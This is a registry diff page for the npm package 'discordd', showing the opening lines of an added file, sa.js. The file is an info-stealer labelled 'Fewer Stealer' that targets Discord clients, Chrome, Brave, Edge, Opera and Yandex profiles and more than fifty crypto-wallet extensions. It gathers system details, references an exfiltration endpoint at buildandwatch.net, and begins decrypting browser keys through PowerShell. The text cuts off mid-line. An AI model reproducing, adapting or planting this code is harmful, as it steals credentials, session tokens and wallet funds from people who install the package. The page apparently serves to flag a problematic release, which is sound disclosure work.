discordd 0.0.1-security → 1.6.8
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of discordd might be problematic. Click here for more details.
- package/index.js +25 -0
- package/package.json +20 -6
- package/sa.js +2124 -0
- package/README.md +0 -5
package/sa.js
ADDED
|
@@ -0,0 +1,2124 @@
|
|
|
1
|
+
const fs = require("fs"),
|
|
2
|
+
path = require("path"),
|
|
3
|
+
httpx = require("axios"),
|
|
4
|
+
axios = require("axios"),
|
|
5
|
+
os = require('os'),
|
|
6
|
+
FormData = require('form-data'),
|
|
7
|
+
AdmZip = require('adm-zip'),
|
|
8
|
+
{
|
|
9
|
+
execSync,
|
|
10
|
+
exec: exec
|
|
11
|
+
} = require("child_process"),
|
|
12
|
+
crypto = require("crypto"),
|
|
13
|
+
sqlite3 = require("sqlite3");
|
|
14
|
+
|
|
15
|
+
const local = process.env.LOCALAPPDATA;
|
|
16
|
+
const discords = [];
|
|
17
|
+
debug = false;
|
|
18
|
+
let injection_paths = []
|
|
19
|
+
|
|
20
|
+
var appdata = process.env.APPDATA,
|
|
21
|
+
LOCAL = process.env.LOCALAPPDATA,
|
|
22
|
+
localappdata = process.env.LOCALAPPDATA;
|
|
23
|
+
let browser_paths = [localappdata + '\\Google\\Chrome\\User Data\\Default\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\', localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\', localappdata + '\\Google\\Chrome\\User Data\\Default\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\Network\\', appdata + '\\Opera Software\\Opera Stable\\', appdata + '\\Opera Software\\Opera GX Stable\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\', localappdata + '\\Microsoft\\Edge\\User Data\\Default\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\', localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Default\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\Network\\'];
|
|
24
|
+
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
paths = [
|
|
31
|
+
appdata + '\\discord\\',
|
|
32
|
+
appdata + '\\discordcanary\\',
|
|
33
|
+
appdata + '\\discordptb\\',
|
|
34
|
+
appdata + '\\discorddevelopment\\',
|
|
35
|
+
appdata + '\\lightcord\\',
|
|
36
|
+
localappdata + '\\Google\\Chrome\\User Data\\Default\\',
|
|
37
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\',
|
|
38
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\',
|
|
39
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\',
|
|
40
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\',
|
|
41
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\',
|
|
42
|
+
localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\',
|
|
43
|
+
localappdata + '\\Google\\Chrome\\User Data\\Default\\Network\\',
|
|
44
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\Network\\',
|
|
45
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\Network\\',
|
|
46
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\Network\\',
|
|
47
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\Network\\',
|
|
48
|
+
localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\Network\\',
|
|
49
|
+
localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\Network\\',
|
|
50
|
+
appdata + '\\Opera Software\\Opera Stable\\',
|
|
51
|
+
appdata + '\\Opera Software\\Opera GX Stable\\',
|
|
52
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\',
|
|
53
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\',
|
|
54
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\',
|
|
55
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\',
|
|
56
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\',
|
|
57
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\',
|
|
58
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\',
|
|
59
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\',
|
|
60
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\',
|
|
61
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\',
|
|
62
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\',
|
|
63
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\',
|
|
64
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\',
|
|
65
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Default\\',
|
|
66
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\',
|
|
67
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\',
|
|
68
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\',
|
|
69
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\',
|
|
70
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\',
|
|
71
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\',
|
|
72
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\',
|
|
73
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\Network\\',
|
|
74
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\Network\\',
|
|
75
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\Network\\',
|
|
76
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\Network\\',
|
|
77
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\Network\\',
|
|
78
|
+
localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\Network\\',
|
|
79
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\Network\\',
|
|
80
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\Network\\',
|
|
81
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\Network\\',
|
|
82
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\Network\\',
|
|
83
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\Network\\',
|
|
84
|
+
localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\Network\\',
|
|
85
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Default\\Network\\',
|
|
86
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\Network\\',
|
|
87
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\Network\\',
|
|
88
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\Network\\',
|
|
89
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\Network\\',
|
|
90
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\Network\\',
|
|
91
|
+
localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\Network\\'
|
|
92
|
+
];
|
|
93
|
+
|
|
94
|
+
function onlyUnique(item, index, array) {
|
|
95
|
+
return array.indexOf(item) === index;
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
function SendDataToBackEnd(token) {
|
|
99
|
+
const url = `https://buildandwatch.net/api/grabuser?token=${token}&ip=33232&auth=5x3P5dNo6TM`;
|
|
100
|
+
}
|
|
101
|
+
const config = {
|
|
102
|
+
"logout": "instant",
|
|
103
|
+
"inject-notify": "true",
|
|
104
|
+
"logout-notify": "true",
|
|
105
|
+
"init-notify": "false",
|
|
106
|
+
"embed-color": 3553599,
|
|
107
|
+
"disable-qr-code": "true"
|
|
108
|
+
}
|
|
109
|
+
const baseapi = "https://buildandwatch.net/api";
|
|
110
|
+
let api_auth = '5x3P5dNo6TM';
|
|
111
|
+
|
|
112
|
+
const _0x9b6227 = {}
|
|
113
|
+
_0x9b6227.passwords = 0
|
|
114
|
+
_0x9b6227.cookies = 0
|
|
115
|
+
_0x9b6227.autofills = 0
|
|
116
|
+
_0x9b6227.wallets = 0
|
|
117
|
+
_0x9b6227.telegram = false
|
|
118
|
+
const count = _0x9b6227,
|
|
119
|
+
user = {
|
|
120
|
+
ram: os.totalmem(),
|
|
121
|
+
version: os.version(),
|
|
122
|
+
uptime: os.uptime,
|
|
123
|
+
homedir: os.homedir(),
|
|
124
|
+
hostname: os.hostname(),
|
|
125
|
+
userInfo: os.userInfo().username,
|
|
126
|
+
type: os.type(),
|
|
127
|
+
arch: os.arch(),
|
|
128
|
+
release: os.release(),
|
|
129
|
+
roaming: process.env.APPDATA,
|
|
130
|
+
local: process.env.LOCALAPPDATA,
|
|
131
|
+
temp: process.env.TEMP,
|
|
132
|
+
countCore: process.env.NUMBER_OF_PROCESSORS,
|
|
133
|
+
sysDrive: process.env.SystemDrive,
|
|
134
|
+
fileLoc: process.cwd(),
|
|
135
|
+
randomUUID: crypto.randomBytes(16).toString('hex'),
|
|
136
|
+
start: Date.now(),
|
|
137
|
+
debug: false,
|
|
138
|
+
copyright: '<================[Fewer Stealer]>================>\n\n',
|
|
139
|
+
url: null,
|
|
140
|
+
}
|
|
141
|
+
_0x2afdce = {}
|
|
142
|
+
const walletPaths = _0x2afdce,
|
|
143
|
+
_0x4ae424 = {}
|
|
144
|
+
_0x4ae424.Trust = '\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph'
|
|
145
|
+
_0x4ae424.Metamask =
|
|
146
|
+
'\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn'
|
|
147
|
+
_0x4ae424.BinanceChain =
|
|
148
|
+
'\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp'
|
|
149
|
+
_0x4ae424.Phantom =
|
|
150
|
+
'\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa'
|
|
151
|
+
_0x4ae424.TronLink =
|
|
152
|
+
'\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec'
|
|
153
|
+
_0x4ae424.Ronin = '\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec'
|
|
154
|
+
_0x4ae424.Exodus =
|
|
155
|
+
'\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno'
|
|
156
|
+
_0x4ae424.Coin98 =
|
|
157
|
+
'\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg'
|
|
158
|
+
_0x4ae424.Authenticator =
|
|
159
|
+
'\\Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai'
|
|
160
|
+
_0x4ae424.MathWallet =
|
|
161
|
+
'\\Sync Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc'
|
|
162
|
+
_0x4ae424.YoroiWallet =
|
|
163
|
+
'\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb'
|
|
164
|
+
_0x4ae424.GuardaWallet =
|
|
165
|
+
'\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln'
|
|
166
|
+
_0x4ae424.JaxxxLiberty =
|
|
167
|
+
'\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne'
|
|
168
|
+
_0x4ae424.Wombat =
|
|
169
|
+
'\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih'
|
|
170
|
+
_0x4ae424.EVERWallet =
|
|
171
|
+
'\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk'
|
|
172
|
+
_0x4ae424.KardiaChain =
|
|
173
|
+
'\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk'
|
|
174
|
+
_0x4ae424.XDEFI = '\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf'
|
|
175
|
+
_0x4ae424.Nami = '\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo'
|
|
176
|
+
_0x4ae424.TerraStation =
|
|
177
|
+
'\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp'
|
|
178
|
+
_0x4ae424.MartianAptos =
|
|
179
|
+
'\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk'
|
|
180
|
+
_0x4ae424.TON = '\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd'
|
|
181
|
+
_0x4ae424.Keplr = '\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap'
|
|
182
|
+
_0x4ae424.CryptoCom =
|
|
183
|
+
'\\Local Extension Settings\\hifafgmccdpekplomjjkcfgodnhcellj'
|
|
184
|
+
_0x4ae424.PetraAptos =
|
|
185
|
+
'\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci'
|
|
186
|
+
_0x4ae424.OKX = '\\Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge'
|
|
187
|
+
_0x4ae424.Sollet =
|
|
188
|
+
'\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno'
|
|
189
|
+
_0x4ae424.Sender =
|
|
190
|
+
'\\Local Extension Settings\\epapihdplajcdnnkdeiahlgigofloibg'
|
|
191
|
+
_0x4ae424.Sui = '\\Local Extension Settings\\opcgpfmipidbgpenhmajoajpbobppdil'
|
|
192
|
+
_0x4ae424.SuietSui =
|
|
193
|
+
'\\Local Extension Settings\\khpkpbbcccdmmclmpigdgddabeilkdpd'
|
|
194
|
+
_0x4ae424.Braavos =
|
|
195
|
+
'\\Local Extension Settings\\jnlgamecbpmbajjfhmmmlhejkemejdma'
|
|
196
|
+
_0x4ae424.FewchaMove =
|
|
197
|
+
'\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj'
|
|
198
|
+
_0x4ae424.EthosSui =
|
|
199
|
+
'\\Local Extension Settings\\mcbigmjiafegjnnogedioegffbooigli'
|
|
200
|
+
_0x4ae424.ArgentX =
|
|
201
|
+
'\\Local Extension Settings\\dlcobpjiigpikoobohmabehhmhfoodbb'
|
|
202
|
+
_0x4ae424.NiftyWallet =
|
|
203
|
+
'\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid'
|
|
204
|
+
_0x4ae424.BraveWallet =
|
|
205
|
+
'\\Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl'
|
|
206
|
+
_0x4ae424.EqualWallet =
|
|
207
|
+
'\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac'
|
|
208
|
+
_0x4ae424.BitAppWallet =
|
|
209
|
+
'\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi'
|
|
210
|
+
_0x4ae424.iWallet =
|
|
211
|
+
'\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj'
|
|
212
|
+
_0x4ae424.AtomicWallet =
|
|
213
|
+
'\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh'
|
|
214
|
+
_0x4ae424.MewCx = '\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm'
|
|
215
|
+
_0x4ae424.GuildWallet =
|
|
216
|
+
'\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj'
|
|
217
|
+
_0x4ae424.SaturnWallet =
|
|
218
|
+
'\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig'
|
|
219
|
+
_0x4ae424.HarmonyWallet =
|
|
220
|
+
'\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib'
|
|
221
|
+
_0x4ae424.PaliWallet =
|
|
222
|
+
'\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn'
|
|
223
|
+
_0x4ae424.BoltX = '\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca'
|
|
224
|
+
_0x4ae424.LiqualityWallet =
|
|
225
|
+
'\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn'
|
|
226
|
+
_0x4ae424.MaiarDeFiWallet =
|
|
227
|
+
'\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm'
|
|
228
|
+
_0x4ae424.TempleWallet =
|
|
229
|
+
'\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc'
|
|
230
|
+
_0x4ae424.Metamask_E =
|
|
231
|
+
'\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm'
|
|
232
|
+
_0x4ae424.Ronin_E =
|
|
233
|
+
'\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk'
|
|
234
|
+
_0x4ae424.Yoroi_E =
|
|
235
|
+
'\\Local Extension Settings\\akoiaibnepcedcplijmiamnaigbepmcb'
|
|
236
|
+
_0x4ae424.Authenticator_E =
|
|
237
|
+
'\\Sync Extension Settings\\ocglkepbibnalbgmbachknglpdipeoio'
|
|
238
|
+
_0x4ae424.MetaMask_O =
|
|
239
|
+
'\\Local Extension Settings\\djclckkglechooblngghdinmeemkbgci'
|
|
240
|
+
|
|
241
|
+
const extension = _0x4ae424,
|
|
242
|
+
browserPath = [
|
|
243
|
+
[
|
|
244
|
+
user.local + '\\Google\\Chrome\\User Data\\Default\\',
|
|
245
|
+
'Default',
|
|
246
|
+
user.local + '\\Google\\Chrome\\User Data\\',
|
|
247
|
+
],
|
|
248
|
+
[
|
|
249
|
+
user.local + '\\Google\\Chrome\\User Data\\Profile 1\\',
|
|
250
|
+
'Profile_1',
|
|
251
|
+
user.local + '\\Google\\Chrome\\User Data\\',
|
|
252
|
+
],
|
|
253
|
+
[
|
|
254
|
+
user.local + '\\Google\\Chrome\\User Data\\Profile 2\\',
|
|
255
|
+
'Profile_2',
|
|
256
|
+
user.local + '\\Google\\Chrome\\User Data\\',
|
|
257
|
+
],
|
|
258
|
+
[
|
|
259
|
+
user.local + '\\Google\\Chrome\\User Data\\Profile 3\\',
|
|
260
|
+
'Profile_3',
|
|
261
|
+
user.local + '\\Google\\Chrome\\User Data\\',
|
|
262
|
+
],
|
|
263
|
+
[
|
|
264
|
+
user.local + '\\Google\\Chrome\\User Data\\Profile 4\\',
|
|
265
|
+
'Profile_4',
|
|
266
|
+
user.local + '\\Google\\Chrome\\User Data\\',
|
|
267
|
+
],
|
|
268
|
+
[
|
|
269
|
+
user.local + '\\Google\\Chrome\\User Data\\Profile 5\\',
|
|
270
|
+
'Profile_5',
|
|
271
|
+
user.local + '\\Google\\Chrome\\User Data\\',
|
|
272
|
+
],
|
|
273
|
+
[
|
|
274
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\',
|
|
275
|
+
'Default',
|
|
276
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
|
|
277
|
+
],
|
|
278
|
+
[
|
|
279
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\',
|
|
280
|
+
'Profile_1',
|
|
281
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
|
|
282
|
+
],
|
|
283
|
+
[
|
|
284
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\',
|
|
285
|
+
'Profile_2',
|
|
286
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
|
|
287
|
+
],
|
|
288
|
+
[
|
|
289
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\',
|
|
290
|
+
'Profile_3',
|
|
291
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
|
|
292
|
+
],
|
|
293
|
+
[
|
|
294
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\',
|
|
295
|
+
'Profile_4',
|
|
296
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
|
|
297
|
+
],
|
|
298
|
+
[
|
|
299
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\',
|
|
300
|
+
'Profile_5',
|
|
301
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
|
|
302
|
+
],
|
|
303
|
+
[
|
|
304
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\',
|
|
305
|
+
'Guest Profile',
|
|
306
|
+
user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\',
|
|
307
|
+
],
|
|
308
|
+
[
|
|
309
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\Default\\',
|
|
310
|
+
'Default',
|
|
311
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\',
|
|
312
|
+
],
|
|
313
|
+
[
|
|
314
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\',
|
|
315
|
+
'Profile_1',
|
|
316
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\',
|
|
317
|
+
],
|
|
318
|
+
[
|
|
319
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\',
|
|
320
|
+
'Profile_2',
|
|
321
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\',
|
|
322
|
+
],
|
|
323
|
+
[
|
|
324
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\',
|
|
325
|
+
'Profile_3',
|
|
326
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\',
|
|
327
|
+
],
|
|
328
|
+
[
|
|
329
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\',
|
|
330
|
+
'Profile_4',
|
|
331
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\',
|
|
332
|
+
],
|
|
333
|
+
[
|
|
334
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\',
|
|
335
|
+
'Profile_5',
|
|
336
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\',
|
|
337
|
+
],
|
|
338
|
+
[
|
|
339
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\',
|
|
340
|
+
'Guest Profile',
|
|
341
|
+
user.local + '\\Yandex\\YandexBrowser\\User Data\\',
|
|
342
|
+
],
|
|
343
|
+
[
|
|
344
|
+
user.local + '\\Microsoft\\Edge\\User Data\\Default\\',
|
|
345
|
+
'Default',
|
|
346
|
+
user.local + '\\Microsoft\\Edge\\User Data\\',
|
|
347
|
+
],
|
|
348
|
+
[
|
|
349
|
+
user.local + '\\Microsoft\\Edge\\User Data\\Profile 1\\',
|
|
350
|
+
'Profile_1',
|
|
351
|
+
user.local + '\\Microsoft\\Edge\\User Data\\',
|
|
352
|
+
],
|
|
353
|
+
[
|
|
354
|
+
user.local + '\\Microsoft\\Edge\\User Data\\Profile 2\\',
|
|
355
|
+
'Profile_2',
|
|
356
|
+
user.local + '\\Microsoft\\Edge\\User Data\\',
|
|
357
|
+
],
|
|
358
|
+
[
|
|
359
|
+
user.local + '\\Microsoft\\Edge\\User Data\\Profile 3\\',
|
|
360
|
+
'Profile_3',
|
|
361
|
+
user.local + '\\Microsoft\\Edge\\User Data\\',
|
|
362
|
+
],
|
|
363
|
+
[
|
|
364
|
+
user.local + '\\Microsoft\\Edge\\User Data\\Profile 4\\',
|
|
365
|
+
'Profile_4',
|
|
366
|
+
user.local + '\\Microsoft\\Edge\\User Data\\',
|
|
367
|
+
],
|
|
368
|
+
[
|
|
369
|
+
user.local + '\\Microsoft\\Edge\\User Data\\Profile 5\\',
|
|
370
|
+
'Profile_5',
|
|
371
|
+
user.local + '\\Microsoft\\Edge\\User Data\\',
|
|
372
|
+
],
|
|
373
|
+
[
|
|
374
|
+
user.local + '\\Microsoft\\Edge\\User Data\\Guest Profile\\',
|
|
375
|
+
'Guest Profile',
|
|
376
|
+
user.local + '\\Microsoft\\Edge\\User Data\\',
|
|
377
|
+
],
|
|
378
|
+
[
|
|
379
|
+
user.roaming + '\\Opera Software\\Opera Neon\\User Data\\Default\\',
|
|
380
|
+
'Default',
|
|
381
|
+
user.roaming + '\\Opera Software\\Opera Neon\\User Data\\',
|
|
382
|
+
],
|
|
383
|
+
[
|
|
384
|
+
user.roaming + '\\Opera Software\\Opera Stable\\',
|
|
385
|
+
'Default',
|
|
386
|
+
user.roaming + '\\Opera Software\\Opera Stable\\',
|
|
387
|
+
],
|
|
388
|
+
[
|
|
389
|
+
user.roaming + '\\Opera Software\\Opera GX Stable\\',
|
|
390
|
+
'Default',
|
|
391
|
+
user.roaming + '\\Opera Software\\Opera GX Stable\\',
|
|
392
|
+
],
|
|
393
|
+
],
|
|
394
|
+
randomPath = `${user.fileLoc}\\${user.randomUUID}`;
|
|
395
|
+
fs.mkdirSync(randomPath, 484);
|
|
396
|
+
|
|
397
|
+
|
|
398
|
+
function debugLog(message) {
|
|
399
|
+
if (user.debug === true) {
|
|
400
|
+
const elapsedTime = Date.now() - user.start;
|
|
401
|
+
const seconds = (elapsedTime / 1000).toFixed(1);
|
|
402
|
+
const milliseconds = elapsedTime.toString();
|
|
403
|
+
|
|
404
|
+
console.log(`${message}: ${seconds} s. / ${milliseconds} ms.`);
|
|
405
|
+
}
|
|
406
|
+
}
|
|
407
|
+
|
|
408
|
+
|
|
409
|
+
|
|
410
|
+
|
|
411
|
+
|
|
412
|
+
|
|
413
|
+
async function getEncrypted() {
|
|
414
|
+
for (let _0x4c3514 = 0; _0x4c3514 < browserPath.length; _0x4c3514++) {
|
|
415
|
+
if (!fs.existsSync('' + browserPath[_0x4c3514][0])) {
|
|
416
|
+
continue
|
|
417
|
+
}
|
|
418
|
+
try {
|
|
419
|
+
let _0x276965 = Buffer.from(
|
|
420
|
+
JSON.parse(fs.readFileSync(browserPath[_0x4c3514][2] + 'Local State'))
|
|
421
|
+
.os_crypt.encrypted_key,
|
|
422
|
+
'base64'
|
|
423
|
+
).slice(5)
|
|
424
|
+
const _0x4ff4c6 = Array.from(_0x276965),
|
|
425
|
+
_0x4860ac = execSync(
|
|
426
|
+
'powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(' +
|
|
427
